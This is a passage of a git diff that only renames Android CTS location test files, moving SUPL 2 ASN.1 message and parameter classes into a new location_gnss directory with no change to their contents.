rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_message_extensions/Ver2_SUPL_END_extension.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_message_extensions/Ver2_SUPL_END_extension.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_message_extensions/Ver2_SUPL_INIT_extension.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_message_extensions/Ver2_SUPL_INIT_extension.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_message_extensions/Ver2_SUPL_INIT_extension.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_message_extensions/Ver2_SUPL_INIT_extension.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_message_extensions/Ver2_SUPL_POS_INIT_extension.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_message_extensions/Ver2_SUPL_POS_INIT_extension.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_message_extensions/Ver2_SUPL_POS_INIT_extension.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_message_extensions/Ver2_SUPL_POS_INIT_extension.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_message_extensions/Ver2_SUPL_POS_extension.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_message_extensions/Ver2_SUPL_POS_extension.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_message_extensions/Ver2_SUPL_POS_extension.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_message_extensions/Ver2_SUPL_POS_extension.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_message_extensions/Ver2_SUPL_RESPONSE_extension.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_message_extensions/Ver2_SUPL_RESPONSE_extension.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_message_extensions/Ver2_SUPL_RESPONSE_extension.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_message_extensions/Ver2_SUPL_RESPONSE_extension.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_message_extensions/Ver2_SUPL_START_extension.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_message_extensions/Ver2_SUPL_START_extension.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_message_extensions/Ver2_SUPL_START_extension.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_message_extensions/Ver2_SUPL_START_extension.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/DGANSS_Sig_Id_Req.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/DGANSS_Sig_Id_Req.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/DGANSS_Sig_Id_Req.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/DGANSS_Sig_Id_Req.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/EventTriggerCapabilities.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/EventTriggerCapabilities.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/EventTriggerCapabilities.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/EventTriggerCapabilities.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/ExtendedEphCheck.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/ExtendedEphCheck.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/ExtendedEphCheck.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/ExtendedEphCheck.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/ExtendedEphemeris.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/ExtendedEphemeris.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/ExtendedEphemeris.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/ExtendedEphemeris.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/GANSSPositionMethod.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/GANSSPositionMethod.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/GANSSPositionMethod.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/GANSSPositionMethod.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/GANSSPositionMethods.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/GANSSPositionMethods.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/GANSSPositionMethods.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/GANSSPositionMethods.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/GANSSPositioningMethodTypes.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/GANSSPositioningMethodTypes.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/GANSSPositioningMethodTypes.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/GANSSPositioningMethodTypes.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/GANSSextEphTime.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/GANSSextEphTime.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/GANSSextEphTime.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/GANSSextEphTime.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/GPSTime.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/GPSTime.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/GPSTime.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/GPSTime.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/GanssAdditionalDataChoices.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/GanssAdditionalDataChoices.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/GanssAdditionalDataChoices.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/GanssAdditionalDataChoices.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/GanssDataBits.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/GanssDataBits.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/GanssDataBits.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/GanssDataBits.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/GanssExtendedEphCheck.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/GanssExtendedEphCheck.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/GanssExtendedEphCheck.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/GanssExtendedEphCheck.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/GanssNavigationModelData.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/GanssNavigationModelData.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/GanssNavigationModelData.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/GanssNavigationModelData.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/GanssReqGenericData.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/GanssReqGenericData.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/GanssReqGenericData.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/GanssReqGenericData.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/GanssRequestedCommonAssistanceDataList.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/GanssRequestedCommonAssistanceDataList.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/GanssRequestedCommonAssistanceDataList.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/GanssRequestedCommonAssistanceDataList.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/GanssRequestedGenericAssistanceDataList.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/GanssRequestedGenericAssistanceDataList.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/GanssRequestedGenericAssistanceDataList.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/GanssRequestedGenericAssistanceDataList.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/GeoAreaShapesSupported.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/GeoAreaShapesSupported.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/GeoAreaShapesSupported.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/GeoAreaShapesSupported.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/PosProtocolVersion3GPP.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/PosProtocolVersion3GPP.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/PosProtocolVersion3GPP.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/PosProtocolVersion3GPP.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/PosProtocolVersion3GPP2.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/PosProtocolVersion3GPP2.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/PosProtocolVersion3GPP2.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/PosProtocolVersion3GPP2.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/ReqDataBitAssistanceList.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/ReqDataBitAssistanceList.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/ReqDataBitAssistanceList.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/ReqDataBitAssistanceList.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/SatellitesListRelatedData.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/SatellitesListRelatedData.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/SatellitesListRelatedData.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/SatellitesListRelatedData.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/SatellitesListRelatedDataList.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/SatellitesListRelatedDataList.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/SatellitesListRelatedDataList.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/SatellitesListRelatedDataList.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/ServiceCapabilities.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/ServiceCapabilities.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/ServiceCapabilities.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/ServiceCapabilities.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/ServicesSupported.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/ServicesSupported.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/ServicesSupported.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/ServicesSupported.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/SessionCapabilities.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/SessionCapabilities.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/SessionCapabilities.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/SessionCapabilities.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/Supported3GPP2PosProtocolVersion.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/Supported3GPP2PosProtocolVersion.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/Supported3GPP2PosProtocolVersion.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/Supported3GPP2PosProtocolVersion.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/SupportedBearers.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/SupportedBearers.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/SupportedBearers.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/SupportedBearers.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/Ver2_Notification_extension.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/Ver2_Notification_extension.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/Ver2_Notification_extension.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/Ver2_Notification_extension.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/Ver2_PosPayLoad_extension.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/Ver2_PosPayLoad_extension.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/Ver2_PosPayLoad_extension.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/Ver2_PosPayLoad_extension.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/Ver2_PosProtocol_extension.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/Ver2_PosProtocol_extension.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/Ver2_PosProtocol_extension.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/Ver2_PosProtocol_extension.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/Ver2_PosTechnology_extension.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/Ver2_PosTechnology_extension.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/Ver2_PosTechnology_extension.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/Ver2_PosTechnology_extension.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/Ver2_RequestedAssistData_extension.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/Ver2_RequestedAssistData_extension.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/Ver2_RequestedAssistData_extension.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/Ver2_RequestedAssistData_extension.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/Ver2_SETCapabilities_extension.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/Ver2_SETCapabilities_extension.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/Ver2_SETCapabilities_extension.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/Ver2_SETCapabilities_extension.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/ApplicationID.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/ApplicationID.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/ApplicationID.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/ApplicationID.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/BatchRepCap.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/BatchRepCap.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/BatchRepCap.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/BatchRepCap.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/CauseCode.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/CauseCode.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/CauseCode.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/CauseCode.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/CellGlobalIdEUTRA.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/CellGlobalIdEUTRA.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/CellGlobalIdEUTRA.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/CellGlobalIdEUTRA.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/CellIdentity.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/CellIdentity.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/CellIdentity.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/CellIdentity.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/CircularArea.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/CircularArea.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/CircularArea.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/CircularArea.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/Coordinate.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/Coordinate.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/Coordinate.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/Coordinate.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/EllipticalArea.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/EllipticalArea.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/EllipticalArea.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/EllipticalArea.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/GANSSSignals.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/GANSSSignals.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/GANSSSignals.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/GANSSSignals.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/GNSSPosTechnology.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/GNSSPosTechnology.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/GNSSPosTechnology.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/GNSSPosTechnology.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/HrpdCellInformation.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/HrpdCellInformation.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/HrpdCellInformation.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/HrpdCellInformation.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/LocationData.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/LocationData.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/LocationData.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/LocationData.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/LocationEncodingDescriptor.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/LocationEncodingDescriptor.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/LocationEncodingDescriptor.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/LocationEncodingDescriptor.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/LocationIdData.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/LocationIdData.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/LocationIdData.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/LocationIdData.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/LteCellInformation.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/LteCellInformation.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/LteCellInformation.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/LteCellInformation.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/MCC.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/MCC.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/MCC.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/MCC.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/MCC_MNC_Digit.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/MCC_MNC_Digit.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/MCC_MNC_Digit.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/MCC_MNC_Digit.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/MNC.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/MNC.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/MNC.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/MNC.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/MeasResultEUTRA.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/MeasResultEUTRA.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/MeasResultEUTRA.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/MeasResultEUTRA.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/MeasResultListEUTRA.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/MeasResultListEUTRA.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/MeasResultListEUTRA.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/MeasResultListEUTRA.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/MultipleLocationIds.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/MultipleLocationIds.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/MultipleLocationIds.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/MultipleLocationIds.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/PLMN_Identity.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/PLMN_Identity.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/PLMN_Identity.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/PLMN_Identity.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/PhysCellId.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/PhysCellId.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/PhysCellId.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/PhysCellId.java
